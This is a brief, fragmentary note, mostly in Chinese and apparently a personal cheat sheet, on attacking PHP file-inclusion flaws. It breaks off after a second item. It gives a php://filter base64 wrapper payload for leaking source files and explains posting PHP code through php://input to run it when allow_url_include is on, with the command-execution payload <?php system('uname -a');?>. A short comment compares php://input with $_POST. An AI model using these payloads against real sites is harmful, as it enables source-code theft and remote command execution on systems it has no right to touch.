file include

1.

                              php://filter/convert.base64-encode/resource=index

2.在allow_url_include = on 且 PHP >= 5.2.0

  直接POST php代码并执行 
 
  post提交的数据：

<?php system('uname -a');?>

/* php://input  与 $_POST的区别： 1>   前者 数据未经url编码  2>  前者  只有在enctype=application/x-www-data-urlencoded成功。 后者 在
   multipart/form-data 也成功。
3.